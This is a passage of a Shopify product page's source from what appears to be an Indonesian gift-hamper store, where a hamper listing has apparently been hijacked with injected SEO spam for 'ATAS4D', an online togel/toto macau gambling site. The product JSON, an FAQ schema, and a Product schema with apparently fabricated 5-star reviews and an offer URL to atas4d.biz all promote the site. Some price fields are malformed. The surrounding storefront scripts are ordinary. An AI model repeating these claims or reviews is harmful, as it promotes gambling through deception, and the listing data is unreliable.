12792    .stamped-pagination li.active a {background-color: #ddd;font-weight: 400;}
12793    .stamped-pagination li:hover a {background: #ddd;}
12794    .stamped-pagination .next {border-right: 1px solid #ccc;}
12795    .stamped-pagination li:first-child {border-top-left-radius: 5px;border-bottom-left-radius: 5px;}
12796    .stamped-pagination li:last-child {border-top-right-radius: 5px;border-bottom-right-radius: 5px;}
12797
12798    #stamped-pagination-question span.page {display: inline-block;border: 1px solid #ccc;width: 47px;}
12799    #stamped-pagination-question span {font-size: 14px;}
12800    #stamped-pagination-question .page.active {padding: 12px;font-weight: 400;background: #ddd;}
12801    #stamped-pagination-question a, #stamped-pagination-question .page.active {color: #121212;padding: 13px 18px;vertical-align: middle;display: inline-block;}
12802    .stamped-pagination-deco {color: #121212;padding: 13px 18px;width: 47px;vertical-align: middle;display: inline-block;border: 1px solid #ccc;padding: 12px;}
12803    .stamped-pagination-prev, .stamped-pagination-next {position: inherit;}
12804    .stamped-pagination-prev a, .stamped-pagination-next a {width: auto!important;border: 1px solid #ccc;}
12805
12806    @media (max-width: 480px){
12807      .stamped-review-reply {margin-left: 0!important;}
12808      select.stamped-sort-select {font-size: 13px!important;}
12809    }
12810
12811  #product-reviews .stamped-summary-ratings, #product-reviews .stamped-summary-actions, .stamped-content {
12812      display: block !important;
12813  }
12814</style>
12815<script>
12816    var selectCallback = function(variant, selector) {
12817      timber.productPage({
12818        money_format: "Rp {{amount_no_decimals}}",
12819        variant: variant,
12820        selector: selector
12821      });
12822    };
12823
12824    jQuery(function($) {
12825      new Shopify.OptionSelectors('productSelect', {
12826        product:
12827
12828
12829
12830
12831
12832{"id":7881418965207,"title":"ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap","handle":"outerbloom-mulan-bag-hampers","description":"\u003cul\u003e\n\u003cli\u003e\n\u003cstrong\u003eATAS4D\u003c\/strong\u003e\u003cbr\u003e\u003cstrong\u003e\u003c\/strong\u003e\u003cstrong\u003e\u003c\/strong\u003e\n\u003c\/li\u003e\n\u003cli\u003e\n\u003cstrong\u003eTOTO\u003c\/strong\u003e\u003cbr\u003e\n\u003c\/li\u003e\n\u003cli\u003e\u003cstrong\u003eTOGEL\u003c\/strong\u003e\u003c\/li\u003e\n\u003c\/ul\u003e\n\u003cp\u003eATAS4D adalah platform game togel toto macau 4D terbaik dengan fitur lengkap, akses cepat, pasaran terpercaya, dan peluang kemenangan menarik setiap hari.\u003c\/p\u003e\n\u003cp\u003e\u003cimg src=\"https:\/\/cdn.shopify.com\/s\/files\/1\/1589\/6833\/files\/Ruby-Mulan-Bag.jpg?v=1734513286\" alt=\"\"\u003e\u003c\/p\u003e\n\u003ctable style=\"width: 100.091%;\" width=\"100%\"\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd style=\"width: 33.7327%;\"\u003eSKU\u003c\/td\u003e\n\u003ctd style=\"width: 65.9908%;\"\u003e[C]ATAS4D\u003cbr\u003e[C]OBIPCL1004-CNY2026\u003cbr\u003e\n\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"width: 33.7327%;\"\u003eIsi\u003c\/td\u003e\n\u003ctd style=\"width: 65.9908%;\"\u003elink login situs toto togel 4D\u003cbr\u003etoto4d resmi terpercaya 2026\u003cbr\u003ebandar toto macau gacor\u003cbr\u003esitus toto4d togel macau\u003cbr\u003etoto4d togel macau gacor\u003cbr\u003esitus toto togel macau\u003cbr\u003etoto togel 4D\u003cbr\u003e\n\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003c\/tbody\u003e\n\u003c\/table\u003e","published_at":"2025-12-23T16:52:21+07:00","created_at":"2023-01-06T14:53:52+07:00","vendor":"Outerbloom Hampers","type":"Parcel Inhouse","tags":["Brand_Outerbloom Hampers","card","CNY","CNY 2026","Collection_Heritage","custom-hampers","formdate","icon-card","icon-gift","Inhouse","MonSatParcel","MonSatSiang","no-deliverytime","Parcel","Parcel CNY","Parcel Inhouse","Parcel Nusantara","Pengiriman_Bekasi","Pengiriman_Bogor","Pengiriman_Depok","Pengiriman_Jakarta","Pengiriman_Kota Lainnya","Pengiriman_Tangerang","POO Parcel","ship-paketkecil","takeoutselfpickup","Untuk_Hari Raya","uploadfotocard","upsell-inhouse"],"price":1.349.41700,"price_min":1.349.41700,"price_max":63500000,"available":true,"price_varies":true,"compare_at_price":73500000,"compare_at_price_min":73500000,"compare_at_price_max":78500000,"compare_at_price_varies":true,"variants":[{"id":45873023910103,"title":"Standard","option1":"Standard","option2":null,"option3":null,"sku":"[C]ATAS4D","requires_shipping":true,"taxable":true,"featured_image":null,"available":true,"name":"ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap - Standard","public_title":"Standard","options":["Standard"],"price":1.349.41700,"weight":5000,"compare_at_price":73500000,"inventory_quantity":0,"inventory_management":"shopify","inventory_policy":"continue","barcode":"","requires_selling_plan":false,"selling_plan_allocations":[]},{"id":45873024008407,"title":"Custom logo \u0026 photo for frame","option1":"Custom logo \u0026 photo for frame","option2":null,"option3":null,"sku":"[C]OBIPCL1004-CNY2026","requires_shipping":true,"taxable":true,"featured_image":null,"available":true,"name":"ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap - Custom logo \u0026 photo for frame","public_title":"Custom logo \u0026 photo for frame","options":["Custom logo \u0026 photo for frame"],"price":63500000,"weight":5000,"compare_at_price":78500000,"inventory_quantity":0,"inventory_management":"shopify","inventory_policy":"continue","barcode":"","requires_selling_plan":false,"selling_plan_allocations":[]}],"images":["\/\/outerbloom.com\/cdn\/shop\/files\/CNY-Ruby-Mulan-Bag.jpg?v=1766041636","\/\/outerbloom.com\/cdn\/shop\/files\/nibble-box-crunchy-jam.jpg?v=1767855108","\/\/outerbloom.com\/cdn\/shop\/files\/nibble-box-berry-affair.jpg?v=1767855108","\/\/outerbloom.com\/cdn\/shop\/files\/madu_c5806a73-3334-4300-bbe4-c59939ac5270.jpg?v=1768357765","\/\/outerbloom.com\/cdn\/shop\/files\/serenitea_ab87e31e-f6d7-4ee1-97ee-9709a9b861f5.jpg?v=1768357765","\/\/outerbloom.com\/cdn\/shop\/files\/diffuser-woody-breeze.jpg?v=1767855083","\/\/outerbloom.com\/cdn\/shop\/files\/frame_b97b5afe-8c12-44e0-a70b-628c49f1c7ac.jpg?v=1767855108"],"featured_image":"\/\/outerbloom.com\/cdn\/shop\/files\/CNY-Ruby-Mulan-Bag.jpg?v=1766041636","options":["Variants"],"media":[{"alt":null,"id":36696952045783,"position":1,"preview_image":{"aspect_ratio":1.0,"height":850,"width":850,"src":"\/\/outerbloom.com\/cdn\/shop\/files\/CNY-Ruby-Mulan-Bag.jpg?v=1766041636"},"aspect_ratio":1.0,"height":850,"media_type":"image","src":"\/\/outerbloom.com\/cdn\/shop\/files\/CNY-Ruby-Mulan-Bag.jpg?v=1766041636","width":850},{"alt":null,"id":36806926401751,"position":2,"preview_image":{"aspect_ratio":1.0,"height":1080,"width":1080,"src":"\/\/outerbloom.com\/cdn\/shop\/files\/preview_images\/c89f6e0ce8a04dc1842e9dc31bb3de3e.thumbnail.0000000000.jpg?v=1767854932"},"aspect_ratio":1.0,"duration":16730,"media_type":"video","sources":[{"format":"mp4","height":480,"mime_type":"video\/mp4","url":"\/\/outerbloom.com\/cdn\/shop\/videos\/c\/vp\/c89f6e0ce8a04dc1842e9dc31bb3de3e\/c89f6e0ce8a04dc1842e9dc31bb3de3e.SD-480p-1.5Mbps-66570824.mp4?v=0","width":480},{"format":"mp4","height":1080,"mime_type":"video\/mp4","url":"\/\/outerbloom.com\/cdn\/shop\/videos\/c\/vp\/c89f6e0ce8a04dc1842e9dc31bb3de3e\/c89f6e0ce8a04dc1842e9dc31bb3de3e.HD-1080p-7.2Mbps-66570824.mp4?v=0","width":1080},{"format":"mp4","height":720,"mime_type":"video\/mp4","url":"\/\/outerbloom.com\/cdn\/shop\/videos\/c\/vp\/c89f6e0ce8a04dc1842e9dc31bb3de3e\/c89f6e0ce8a04dc1842e9dc31bb3de3e.HD-720p-4.5Mbps-66570824.mp4?v=0","width":720},{"format":"m3u8","height":1080,"mime_type":"application\/x-mpegURL","url":"\/\/outerbloom.com\/cdn\/shop\/videos\/c\/vp\/c89f6e0ce8a04dc1842e9dc31bb3de3e\/c89f6e0ce8a04dc1842e9dc31bb3de3e.m3u8?v=0","width":1080}]},{"alt":null,"id":36727314612439,"position":3,"preview_image":{"aspect_ratio":1.0,"height":850,"width":850,"src":"\/\/outerbloom.com\/cdn\/shop\/files\/nibble-box-crunchy-jam.jpg?v=1767855108"},"aspect_ratio":1.0,"height":850,"media_type":"image","src":"\/\/outerbloom.com\/cdn\/shop\/files\/nibble-box-crunchy-jam.jpg?v=1767855108","width":850},{"alt":null,"id":36727314350295,"position":4,"preview_image":{"aspect_ratio":1.0,"height":850,"width":850,"src":"\/\/outerbloom.com\/cdn\/shop\/files\/nibble-box-berry-affair.jpg?v=1767855108"},"aspect_ratio":1.0,"height":850,"media_type":"image","src":"\/\/outerbloom.com\/cdn\/shop\/files\/nibble-box-berry-affair.jpg?v=1767855108","width":850},{"alt":null,"id":36727369236695,"position":5,"preview_image":{"aspect_ratio":1.0,"height":850,"width":850,"src":"\/\/outerbloom.com\/cdn\/shop\/files\/madu_c5806a73-3334-4300-bbe4-c59939ac5270.jpg?v=1768357765"},"aspect_ratio":1.0,"height":850,"media_type":"image","src":"\/\/outerbloom.com\/cdn\/shop\/files\/madu_c5806a73-3334-4300-bbe4-c59939ac5270.jpg?v=1768357765","width":850},{"alt":null,"id":36727136878807,"position":6,"preview_image":{"aspect_ratio":1.0,"height":850,"width":850,"src":"\/\/outerbloom.com\/cdn\/shop\/files\/serenitea_ab87e31e-f6d7-4ee1-97ee-9709a9b861f5.jpg?v=1768357765"},"aspect_ratio":1.0,"height":850,"media_type":"image","src":"\/\/outerbloom.com\/cdn\/shop\/files\/serenitea_ab87e31e-f6d7-4ee1-97ee-9709a9b861f5.jpg?v=1768357765","width":850},{"alt":null,"id":36727264116951,"position":7,"preview_image":{"aspect_ratio":1.0,"height":850,"width":850,"src":"\/\/outerbloom.com\/cdn\/shop\/files\/diffuser-woody-breeze.jpg?v=1767855083"},"aspect_ratio":1.0,"height":850,"media_type":"image","src":"\/\/outerbloom.com\/cdn\/shop\/files\/diffuser-woody-breeze.jpg?v=1767855083","width":850},{"alt":null,"id":36727117086935,"position":8,"preview_image":{"aspect_ratio":1.0,"height":850,"width":850,"src":"\/\/outerbloom.com\/cdn\/shop\/files\/frame_b97b5afe-8c12-44e0-a70b-628c49f1c7ac.jpg?v=1767855108"},"aspect_ratio":1.0,"height":850,"media_type":"image","src":"\/\/outerbloom.com\/cdn\/shop\/files\/frame_b97b5afe-8c12-44e0-a70b-628c49f1c7ac.jpg?v=1767855108","width":850}],"requires_selling_plan":false,"selling_plan_groups":[],"content":"\u003cul\u003e\n\u003cli\u003e\n\u003cstrong\u003eATAS4D\u003c\/strong\u003e\u003cbr\u003e\u003cstrong\u003e\u003c\/strong\u003e\u003cstrong\u003e\u003c\/strong\u003e\n\u003c\/li\u003e\n\u003cli\u003e\n\u003cstrong\u003eTOTO\u003c\/strong\u003e\u003cbr\u003e\n\u003c\/li\u003e\n\u003cli\u003e\u003cstrong\u003eTOGEL\u003c\/strong\u003e\u003c\/li\u003e\n\u003c\/ul\u003e\n\u003cp\u003eATAS4D adalah platform game togel toto macau 4D terbaik dengan fitur lengkap, akses cepat, pasaran terpercaya, dan peluang kemenangan menarik setiap hari.\u003c\/p\u003e\n\u003cp\u003e\u003cimg src=\"https:\/\/cdn.shopify.com\/s\/files\/1\/1589\/6833\/files\/Ruby-Mulan-Bag.jpg?v=1734513286\" alt=\"\"\u003e\u003c\/p\u003e\n\u003ctable style=\"width: 100.091%;\" width=\"100%\"\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd style=\"width: 33.7327%;\"\u003eSKU\u003c\/td\u003e\n\u003ctd style=\"width: 65.9908%;\"\u003e[C]ATAS4D\u003cbr\u003e[C]OBIPCL1004-CNY2026\u003cbr\u003e\n\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"width: 33.7327%;\"\u003eIsi\u003c\/td\u003e\n\u003ctd style=\"width: 65.9908%;\"\u003elink login situs toto togel 4D\u003cbr\u003etoto4d resmi terpercaya 2026\u003cbr\u003ebandar toto macau gacor\u003cbr\u003esitus toto4d togel macau\u003cbr\u003etoto4d togel macau gacor\u003cbr\u003esitus toto togel macau\u003cbr\u003etoto togel 4D\u003cbr\u003e\n\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003c\/tbody\u003e\n\u003c\/table\u003e"},
12833        onVariantSelected: selectCallback,
12834        enableHistoryState: true
12835      });
12836
12837      // Add label if only one product option and it isn't 'Title'. Could be 'Size'.
12838      
12839        $('.selector-wrapper:eq(0)').prepend('<label for="productSelect-option-0">Variants</label>');
12840      
12841
12842      // Hide selectors if we only have 1 variant and its title contains 'Default'.
12843      
12844    });
12845</script>
12845
12846
12847
12848<script type="application/ld+json">
12849{
12850  "@context": "https://schema.org",
12851  "@type": "FAQPage",
12852  "mainEntity": [
12853    {
12854      "@type": "Question",
12855      "name": "Apa itu ATAS4D dan kenapa populer di game togel online?",
12856      "acceptedAnswer": {
12857        "@type": "Answer",
12858        "text": "ATAS4D adalah platform game togel online yang menyediakan berbagai pasaran populer seperti togel macau, toto macau, dan toto macau 4D. Popularitasnya meningkat karena sistem stabil, result akurat, dan fitur lengkap yang memudahkan pemain dalam bermain setiap hari."
12859      }
12860    },
12861    {
12862      "@type": "Question",
12863      "name": "Apakah ATAS4D menyediakan pasaran togel macau resmi?",
12864      "acceptedAnswer": {
12865        "@type": "Answer",
12866        "text": "Ya, ATAS4D menyediakan pasaran togel macau dan toto macau 4D dengan data result yang akurat dan update real-time. Hal ini membuat pemain bisa menganalisa angka dengan lebih tepat."
12867      }
12868    },
12869    {
12870      "@type": "Question",
12871      "name": "Bagaimana cara bermain toto macau 4D di ATAS4D?",
12872      "acceptedAnswer": {
12873        "@type": "Answer",
12874        "text": "Cara bermain cukup mudah, pemain hanya perlu mendaftar akun, melakukan deposit, lalu memilih pasaran toto macau 4D. Setelah itu, pemain bisa langsung memasang angka sesuai prediksi mereka."
12875      }
12876    },
12877    {
12878      "@type": "Question",
12879      "name": "Apakah ATAS4D aman untuk bermain game togel?",
12880      "acceptedAnswer": {
12881        "@type": "Answer",
12882        "text": "ATAS4D menggunakan sistem keamanan modern untuk melindungi data dan transaksi pemain. Dengan sistem enkripsi dan layanan profesional, platform ini memastikan keamanan dalam bermain game togel online."
12883      }
12884    },
12885    {
12886      "@type": "Question",
12887      "name": "Apa keunggulan ATAS4D dibanding situs togel lainnya?",
12888      "acceptedAnswer": {
12889        "@type": "Answer",
12890        "text": "Beberapa keunggulan ATAS4D antara lain akses cepat, tampilan user-friendly, pasaran lengkap seperti togel macau, serta dukungan customer service yang responsif 24 jam."
12891      }
12892    },
12893    {
12894      "@type": "Question",
12895      "name": "Apakah ATAS4D bisa diakses melalui mobile?",
12896      "acceptedAnswer": {
12897        "@type": "Answer",
12898        "text": "Ya, ATAS4D dapat diakses melalui berbagai perangkat seperti smartphone dan desktop tanpa mengurangi performa. Ini memudahkan pemain bermain togel macau kapan saja dan di mana saja."
12899      }
12900    },
12901    {
12902      "@type": "Question",
12903      "name": "Apa saja fitur lengkap yang tersedia di ATAS4D?",
12904      "acceptedAnswer": {
12905        "@type": "Answer",
12906        "text": "ATAS4D menyediakan berbagai fitur unggulan seperti result macau real-time, transaksi cepat, akses multi perangkat, sistem keamanan modern, serta layanan customer service yang siap membantu pemain."
12907      }
12908    },
12909    {
12910      "@type": "Question",
12911      "name": "Mengapa banyak pemain memilih ATAS4D untuk bermain togel macau?",
12912      "acceptedAnswer": {
12913        "@type": "Answer",
12914        "text": "Banyak pemain memilih ATAS4D karena menawarkan pasaran togel macau terpercaya, sistem stabil, proses transaksi cepat, serta pengalaman bermain yang nyaman dan mudah diakses kapan saja."
12915      }
12916    },
12917    {
12918      "@type": "Question",
12919      "name": "Apakah data result macau di ATAS4D diperbarui secara real-time?",
12920      "acceptedAnswer": {
12921        "@type": "Answer",
12922        "text": "Ya, ATAS4D menghadirkan data result macau yang diperbarui secara real-time sehingga pemain dapat memperoleh informasi terbaru untuk kebutuhan analisis angka dan pemantauan hasil pasaran."
12923      }
12924    },
12925    {
12926      "@type": "Question",
12927      "name": "Bagaimana proses pendaftaran akun di ATAS4D?",
12928      "acceptedAnswer": {
12929        "@type": "Answer",
12930        "text": "Proses pendaftaran di ATAS4D dirancang sederhana dan cepat. Pengguna hanya perlu mengisi data yang diperlukan, melakukan verifikasi, kemudian akun siap digunakan untuk mengakses berbagai fitur yang tersedia."
12931      }
12932    }
12933  ]
12934}
12935</script>
12935
12936
12937<script type="application/ld+json">
12938{
12939  "@context": "https://schema.org",
12940  "@type": "Product",
12941  "name": "ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap",
12942  "description": "ATAS4D adalah platform game togel toto macau 4D terbaik dengan fitur lengkap, akses cepat, pasaran terpercaya, dan peluang kemenangan menarik setiap hari.",
12943  "brand": {
12944    "@type": "Brand",
12945    "name": "ATAS4D"
12946  },
12947  "aggregateRating": {
12948    "@type": "AggregateRating",
12949    "ratingValue": "5.0",
12950    "bestRating": "5",
12951    "worstRating": "1",
12952    "ratingCount": "14",
12953    "reviewCount": "14"
12954  },
12955  "review": [
12956    {
12957      "@type": "Review",
12958      "author": { "@type": "Person", "name": "Bagas Pratama" },
12959      "datePublished": "2026-03-11",
12960      "reviewRating": { "@type": "Rating", "ratingValue": "5", "bestRating": "5" },
12961      "reviewBody": "Saya sudah coba banyak situs game togel, tapi ATAS4D paling stabil. Result togel macau selalu update cepat dan akurat, jadi lebih mudah analisa angka."
12962    },
12963    {
12964      "@type": "Review",
12965      "author": { "@type": "Person", "name": "Rangga Saputra" },
12966      "datePublished": "2026-03-06",
12967      "reviewRating": { "@type": "Rating", "ratingValue": "5", "bestRating": "5" },
12968      "reviewBody": "Main toto macau 4D di ATAS4D terasa lebih nyaman. Tampilan simpel dan proses deposit cepat banget. Cocok buat pemain harian."
12969    },
12970    {
12971      "@type": "Review",
12972      "author": { "@type": "Person", "name": "Dimas Arya" },
12973      "datePublished": "2026-02-28",
12974      "reviewRating": { "@type": "Rating", "ratingValue": "5", "bestRating": "5" },
12975      "reviewBody": "Yang saya suka dari ATAS4D adalah pasaran lengkapnya. Togel macau dan toto macau tersedia dengan data yang jelas, jadi lebih percaya diri pasang angka."
12976    },
12977    {
12978      "@type": "Review",
12979      "author": { "@type": "Person", "name": "Galih Ramadhan" },
12980      "datePublished": "2026-02-21",
12981      "reviewRating": { "@type": "Rating", "ratingValue": "5", "bestRating": "5" },
12982      "reviewBody": "Customer service ATAS4D responsif dan membantu. Saya pernah ada kendala, langsung dibantu dengan cepat. Recommended untuk game togel online."
12983    },
12984    {
12985      "@type": "Review",
12986      "author": { "@type": "Person", "name": "Wira Mahendra" },
12987      "datePublished": "2026-02-16",
12988      "reviewRating": { "@type": "Rating", "ratingValue": "5", "bestRating": "5" },
12989      "reviewBody": "Platformnya ringan di HP, jadi bisa main kapan saja. Toto macau 4D di ATAS4D juga punya peluang menarik menurut saya."
12990    }
12991  ]
12992}
12993</script>
12993
12994
12995<script type="application/ld+json">
12996{
12997  "@context": "http://schema.org",
12998  "@type": "Product",
12999  "offers": {
13000    "@type": "Offer",
13001    "availability":"https://schema.org/InStock",
13002    "price": 1885000,
13003    "priceValidUntil": "24-02-2026",
13004    "priceCurrency": "IDR",
13005    "url": "https://atas4d.biz/"
13006  },
13007  "brand": {
13008    "@type": "Brand",
13009    "name": "ATAS4D"
13010  },
13011  "sku": "7881418965207",
13012  "gtin13": "ATAS 4D",
13013  "name": "ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap",
13014  "description": "\n\nATAS4D merupakan platform togel toto macau 4D terpercaya yang menghadirkan fitur lengkap, akses mudah, dan pengalaman bermain yang nyaman setiap hari.\n\n\nATAS4D hadir sebagai pilihan utama bagi penggemar togel macau dan toto macau 4D dengan layanan cepat, pasaran lengkap, serta sistem yang stabil.\n\nATAS4D menyediakan berbagai pasaran togel macau dan toto macau 4D dengan dukungan teknologi modern, transaksi cepat, dan layanan profesional.\n\nSebagai platform togel online terpercaya, ATAS4D menawarkan akses praktis, data result yang akurat, dan beragam fitur yang mendukung kebutuhan pemain.\n\n\n\n\nSKU\n[C]ATAS4D[C]GAME-TOGEL\n\n\n\nIsi\nATAS4D menjadi destinasi favorit para pemain toto macau 4D berkat kemudahan akses, sistem keamanan yang baik, dan layanan yang responsif.\n\n\n\n",
13015  "category": "Digital Entertainment Platform",
13016  "url": "https://atas4d.biz/",
13017  "image": {
13018    "@type": "ImageObject",
13019    "url": "https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp",
13020    "image": "https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp",
13021    "name": "ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap",
13022    "width": 1024,
13023    "height": 1024
13024  }
13025}
13026</script>
13026
13027
13028
13029
13030
13031        
13032<script id="bss-ltap-hide-price" type="text/javascript" >
13033!function(e){var t={};function o(r){if(t[r])return t[r].exports;var c=t[r]={i:r,l:!1,exports:{}};return e[r].call(c.exports,c,c.exports,o),c.l=!0,c.exports}o.m=e,o.c=t,o.d=function(e,t,r){o.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:r})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var r=Object.create(null);if(o.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var c in e)o.d(r,c,function(t){return e[t]}.bind(null,c));return r},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=0)}([function(e,t,o){"use strict";function r(e){e.ltsp={},function(e){e.ltsp.quickView=function(){document.querySelectorAll(".quickview-button").forEach((function(e){e.addEventListener("click",(function(){setTimeout((function(){let e=document.getElementById("add-to-cart-quickview-form");if(e){let t=e.querySelector(".groups-btn");t&&t.remove();let o=e.querySelector(".pieces");o&&o.remove();let r=e.querySelector(".bsscommerce-ltsp-message");r&&r.remove()}if(e=document.querySelector("[data-quickview-modal] .halo-modal-body"),e){let t=e.querySelector(".quantity");t&&t.remove()}}),1e3)}))})),document.querySelectorAll(".shop-now-button").forEach((function(e){e.addEventListener("click",(function(){setTimeout((function(){let e=document.getElementById("ShopNowContainer");if(e){let t=e.querySelector("#AddToCart");t&&t.remove()}}),2e3)}))})),document.querySelectorAll(".collection__filter").forEach((function(e){e.addEventListener("click",(function(){setTimeout((function(){let e=document.getElementsByClassName("bsscommerce-ltsp-message");for(let t=0;t<e.length;t++){let o=e[t].closest(".product-grid-item");if(o){let e=o.querySelector(".btn--quick-view");e&&e.remove()}}}),1500)}))})),document.querySelectorAll(".btn--icon.quick-product__btn").forEach((function(e){e.addEventListener("click",(function(){setTimeout((function(){let e=document.getElementsByClassName("bsscommerce-ltsp-message");for(let t=0;t<e.length;t++){let o=e[t].closest(".product-grid__content");if(o){let e=o.querySelector(".payment-buttons");e&&e.remove()}}}),2e3)}))})),document.querySelectorAll(".product-facet__aside").forEach((function(e){e.addEventListener("click",(function(){setTimeout((function(){let e=document.getElementsByClassName("bsscommerce-ltsp-message");for(let t=0;t<e.length;t++){let o=e[t].closest(".product-item");if(o){let e=o.querySelector('form[action="/cart/add"]');e&&e.remove();let t=o.querySelector(".product-item__quick-form");t&&t.remove()}}}),1500)}))})),document.querySelectorAll(".pagination").forEach((function(e){e.addEventListener("click",(function(){setTimeout((function(){let e=document.getElementsByClassName("bsscommerce-ltsp-message");for(let t=0;t<e.length;t++){let o=e[t].closest(".product-item");if(o){let e=o.querySelector('form[action="/cart/add"]');e&&e.remove();let t=o.querySelector(".product-item__quick-form");t&&t.remove()}}}),1800)}))})),document.querySelectorAll(".collection-filters__sort").forEach((function(e){e.addEventListener("change",(function(){setTimeout((function(){let e=document.getElementsByClassName("bsscommerce-ltsp-message");for(let t=0;t<e.length;t++){let o=e[t].closest(".indiv-product");if(o){let e=o.querySelector('form[action="/cart/add"]');e&&e.remove()}}}),1500)}))}
13033)),document.querySelectorAll(".slideout__drawer-right, .sidebar_leftside_wapper, .filtering__results").forEach((function(e){e.addEventListener("click",(function(){setTimeout((function(){let e=document.getElementsByClassName("bsscommerce-ltsp-message");for(let t=0;t<e.length;t++){let o=e[t].closest(".product-index");if(o){let e=o.querySelector(".js-quickview-trigger");e&&e.remove()}}}),1500)}))})),document.querySelectorAll("a.product-loop__quickview").forEach((function(e){e.addEventListener("click",(function(){setTimeout((function(){let e=document.getElementsByClassName("bsscommerce-ltsp-message");for(let t=0;t<e.length;t++){let o=e[t].closest(".large--one-half");if(o){let e=o.querySelector(".quick-smart-wrapper");e&&e.remove();let t=o.querySelector("#quantity-container");t&&t.remove();let r=o.querySelector(".js-prod-show-soldout");r&&r.remove()}}}),2e3)}))})),document.querySelectorAll(".quick-product__btn").forEach((function(e){e.addEventListener("click",(function(){setTimeout((function(){let e=document.getElementsByClassName("bsscommerce-ltsp-message");for(let t=0;t<e.length;t++){let o=e[t].closest(".product-single__meta");if(o){let e=o.querySelector("div.payment-buttons");e&&e.remove()}}}),1e3)}))})),document.querySelectorAll(".btn--load-more").forEach((function(e){e.addEventListener("click",(function(){setTimeout((function(){let e=document.getElementsByClassName("bsscommerce-ltsp-message");for(let t=0;t<e.length;t++){let o=e[t].closest(".grid-view-item");if(o){let e=o.querySelector(".quick-add-button");e&&e.remove()}}}),1e3)}))})),document.querySelectorAll(".quick_shop").forEach((function(e){e.addEventListener("click",(function(){setTimeout((function(){let e=document.getElementsByClassName("bsscommerce-ltsp-message");for(let t=0;t<e.length;t++){let o=e[t].closest(".product_section");if(o){let e=o.querySelector(".product_form .shopify-product-form .purchase-details"),t=o.querySelector(".product__details .modal_price .price-ui");e&&e.remove(),t&&t.remove()}}}),1e3)}))})),document.querySelectorAll(".qs-button ").forEach((function(e){e.addEventListener("click",(function(){setTimeout((function(){let e=document.getElementsByClassName("bsscommerce-ltsp-message");for(let t=0;t<e.length;t++){let o=e[t].closest(".product-info-main");if(o){let e=o.querySelector(".qty-box");e&&e.remove();let t=o.querySelector(".btn.btn-cart");t&&t.remove();let r=o.querySelector(".product-single__sale-price");r&&r.remove();let c=o.querySelector(".product-addto-links");c&&c.remove()}}}),1e3)}))}));let e=document.querySelector("a[data-js-cart-icon]");if(e&&e.addEventListener("click",(function(){let e=document.querySelector(".quick-cart__control");e&&e.remove();let t=document.querySelector(".quick-cart__item-right");t.childNodes[3]&&(t.childNodes[3].innerHTML="Login to seen price")})),document.querySelectorAll(".quick-add-button-variants").forEach((function(e){e.addEventListener("click",(function(){setTimeout((function(){let e=document.getElementsByClassName("bsscommerce-ltsp-message");for(let t=0;t<e.length;t++){let o=e[t].closest("#AddToCartForm");if(o){let e=o.querySelector(".paymentButtonsWrapper");e&&e.remove()}}}),1e3)}))})),document.querySelectorAll(".product-thumbnail__quickshop-button").forEach((function(e){e.addEventListener("click",(function(){setTimeout((function(){let e=document.getElementsByClassName("bsscommerce-ltsp-message");for(let t=0;t<e.length;t++){let o=e[t].closest(".product-details");if(o){let e=o.querySelectorAll(".bsscommerce-ltsp-message");e.length>1&&e.forEach((function(e,t){t>0&&e.remove()}));let t=o.querySelector(".product-form__cart-buttons");t&&t.remove();let r=o.querySelector(".product-form__quantity-box-wrapper");r&&r.remove()}}}),800)}))})),"b2b-dbodhi-singapore.myshopify.com"===window.Shopify.shop){let e=0;const t=window.location.pathname.includes("/collections");let o=!0;const r=function(){const e=setInterval((function(){let e=document.querySelectorAll(".thb-product-detail.product .bsscommerce-ltsp-message");for(let t=0;t<e.length;t++){let o=e[t],r=o.closest(".thb-product-detail.product");if(r){let e=r.querySelector(".product-form");e&&e.remove()}r=o.closest("del"),r&&o.remove()}}),500);setTimeout(()=>{clearInterval(e)},6e3)},c=function(){const c=window.pageYOffset||document.documentElement.scrollTop;(c>e||!t||o)&&(document.querySelectorAll(".product-card-quickview").forEach((function(e){e.removeEventListener("click",r),e.addEventListener("click",r)}
13033)),o=!1),e=c<=0?0:c};if(c(),t){const e=function(){const e=c;let t;return()=>{clearTimeout(t),t=setTimeout(()=>{e.apply(this)},3e3)}};window.addEventListener("scroll",e())}}}}(e),function(e){e.ltsp.removeElementByLTSPMessage=function(){let e=document.getElementsByClassName("bsscommerce-ltsp-message"),t=[],o=window.Shopify.shop;for(let r=0;r<e.length;r++){let c=e[r],l=[".grid-product__on-sale",".product-unit-price",".product-price-unit",".grid-link__sale_price","s",".price__compare",".product__compare-price",".price__unit",".card__price--regular",".sale-tag",".compare-price",".old-price",".savings",".was_price",".price--compare",".price-compare",".was"];if("stark-hockey.myshopify.com"===o){const e=c.closest(".product-index");if(e){const t=e.querySelector(".product-modal");t&&t.remove()}continue}let s=c.closest(".product-parent");if(s){let e=s.querySelector("form .tt-btn-addtocart");e&&t.push(e);let o=s.querySelector(".tt-btn-quickview");o&&t.push(o)}if(s=c.closest(".ProductItem"),s){let 